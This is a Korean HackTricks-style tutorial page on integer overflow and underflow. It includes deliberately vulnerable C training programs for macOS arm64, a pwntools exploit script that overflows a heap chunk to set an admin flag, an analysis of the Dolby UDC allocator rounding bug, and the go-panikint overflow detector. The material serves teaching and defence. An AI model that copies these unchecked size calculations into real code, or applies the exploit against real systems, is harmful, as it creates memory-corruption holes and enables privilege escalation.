정수 오버플로우

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

핵심적으로 integer overflow는 컴퓨터 프로그래밍에서 데이터 타입의 크기와 데이터의 해석이 부과하는 제한에 있다.

예를 들어, 8비트 부호 없는 정수0에서 255까지의 값을 표현할 수 있다. 만약 8비트 부호 없는 정수에 256을 저장하려 하면, 저장 용량의 한계 때문에 값이 0으로 순환한다. 마찬가지로 16비트 부호 없는 정수0에서 65,535까지의 값을 가질 수 있으므로 65,535에 1을 더하면 값이 0으로 돌아간다.

또한, 8비트 부호 있는 정수-128에서 127까지의 값을 표현할 수 있다. 이는 한 비트가 부호(양수 또는 음수)를 나타내는 데 사용되고 나머지 7비트가 크기를 나타내기 때문이다. 가장 작은 값은 -128(이진 10000000)으로 나타내고, 가장 큰 값은 127(이진 01111111)이다.

일반적인 정수 타입의 최소/최대 값:

Type크기 (비트)최소값최대값
int8_t8-128127
uint8_t80255
int16_t16-32,76832,767
uint16_t16065,535
int32_t32-2,147,483,6482,147,483,647
uint32_t3204,294,967,295
int64_t64-9,223,372,036,854,775,8089,223,372,036,854,775,807
uint64_t64018,446,744,073,709,551,615

64비트 시스템에서 short는 int16_t와 같고, int는 int32_t와 같으며, long은 int64_t와 같다.

최대값

잠재적인 웹 취약점을 고려할 때 지원되는 최대값을 아는 것은 매우 흥미롭다:

fn main() {

let mut quantity = 2147483647;

let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);

println!("{}", mul_result);
println!("{}", add_result);
}

예제

Pure overflow

출력 결과는 0입니다. char를 overflow했기 때문에:

#include <stdio.h>

int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}

Signed to Unsigned Conversion

사용자 입력에서 읽은 signed integer가 적절한 검증 없이 unsigned integer로 취급되는 문맥에서 사용되는 상황을 생각해보자:

#include <stdio.h>

int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);

// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;

// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}

return 0;
}

이 예제에서 사용자가 음수를 입력하면, binary values가 해석되는 방식 때문에 해당 값은 큰 unsigned integer로 해석되어 예상치 못한 동작을 초래할 수 있습니다.

macOS Overflow Example

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}

struct session {
int is_admin;           // Target to flip from 0 → 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;

printf("Requested bytes: %zu\n", want);

while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;

ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF – stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}


int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");

// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;

// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
//    NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32   = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);

// 3) Allocate a single arena and lay out [buffer][slack][session]
//    This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;  // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).

// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size;                   // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);

puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);

// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

다음과 같이 컴파일하세요:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c

Exploit

# exploit.py
from pwn import *

# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"

EXE = "./int_ovf_heap_priv"

def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE])  # stdin=PIPE, stdout=PIPE by default

# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296")  # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ",  b"1")           # alloc32 = 32, offset_to_sess = 48

# 2) Wait until it’s actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")

# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)

# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send")   # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary

# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))

if __name__ == "__main__":
main()

macOS Underflow 예제

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}

struct session {
int  is_admin;      // flip 0 -> 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break;    // EOF: partial read is fine
perror("read"); break;
}
return got;
}

int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");

size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"

const size_t HEADER = 16;

// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER;   // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);

// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);

puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);

if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

다음과 같이 컴파일하세요:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c

Allocator alignment rounding wrap → undersized chunk → heap overflow (Dolby UDC case)

일부 custom allocators는 overflow 여부를 재검사하지 않고 allocations을 alignment까지 반올림합니다. Dolby Unified Decoder (Pixel 9, CVE-2025-54957)에서는 공격자가 제어하는 emdf_payload_size가 (unbounded variable_bits(8) loop으로 디코딩되어) ddp_udc_int_evo_malloc에 전달됩니다:

size_t total_size = alloc_size + extra;
if (alloc_size + extra < alloc_size) return 0; // initial wrap guard
if (total_size % 8)
total_size += (8 - total_size) % total_size; // vulnerable rounding
if (total_size > heap->remaining) return 0;

64-bit 값이 0xFFFFFFFFFFFFFFF9 근처일 경우, (8 - total_size) % total_size가 덧셈을 래핑하여 논리적 alloc_size는 여전히 거대함에도 불구하고 **작은 total_size**를 만들어냅니다. 호출자는 이후 반환된 청크에 payload_length 바이트를 씁니다:

buffer = ddp_udc_int_evo_malloc(evo_heap, payload_length, extra);
for (size_t i = 0; i < payload_length; i++) { // bounds use logical size
buffer[i] = next_byte_from_emdf();       // writes past tiny chunk
}

Why exploitation is reliable in this pattern:

  • Overflow length control: 바이트는 다른 공격자가 선택한 길이(emdf_container_length)로 제한된 reader에서 공급되므로, 쓰기는 payload_length를 전부 뿌리는 대신 N 바이트 후에 멈춘다.
  • Overflow data control: 청크를 넘어 쓰여지는 바이트는 전부 EMDF payload에서 공격자가 제공한다.
  • Heap determinism: allocator는 프레임별 bump-pointer slab이며 frees가 없으므로, 손상된 객체들의 인접성은 예측 가능하다.

기타 예제

(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)

Go의 integer overflow 감지 (go-panikint 사용)

Go는 정수 연산을 조용히 래핑한다. go-panikint는 SSA overflow checks를 주입하는 포크된 Go toolchain으로, 래핑된 산술 연산이 즉시 runtime.panicoverflow()(panic + stack trace)를 호출하게 만든다.

사용 이유

  • 산술 연산이 래핑될 때 즉시 crash하므로 overflow/truncation이 fuzzing/CI에서 발견 가능해진다.
  • user-controlled pagination, offsets, quotas, 크기 계산, 또는 접근 제어 수학(예: end := offset + limit에서 작은 값으로 래핑되는 uint64) 주변에서 유용하다.

빌드 및 사용법

git clone https://github.com/trailofbits/go-panikint
cd go-panikint/src && ./make.bash
export GOROOT=/path/to/go-panikint
./bin/go test -fuzz=FuzzOverflowHarness

테스트/fuzzing용으로 이 포크된 go 바이너리를 실행하여 오버플로우를 panics로 드러내세요.

노이즈 제어

  • 잘림(truncation) 검사(더 작은 정수로의 캐스트)는 노이즈가 많을 수 있습니다.
  • 의도적인 wrap-around는 소스 경로 필터 또는 인라인 // overflow_false_positive / // truncation_false_positive 주석으로 억제하세요.

실제 사례 패턴

go-panikint는 Cosmos SDK의 uint64 페이징 오버플로우를 밝혀냈습니다: end := pageRequest.Offset + pageRequest.LimitMaxUint64를 넘어 래핑되어 빈 결과를 반환했습니다. 계측(instrumentation)은 이 조용한 래핑을 panic으로 바꿔 fuzzers가 최소화할 수 있게 했습니다.

ARM64

이것은 ARM64에서 변경되지 않습니다 — 자세한 내용은 this blog post를 확인하세요.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기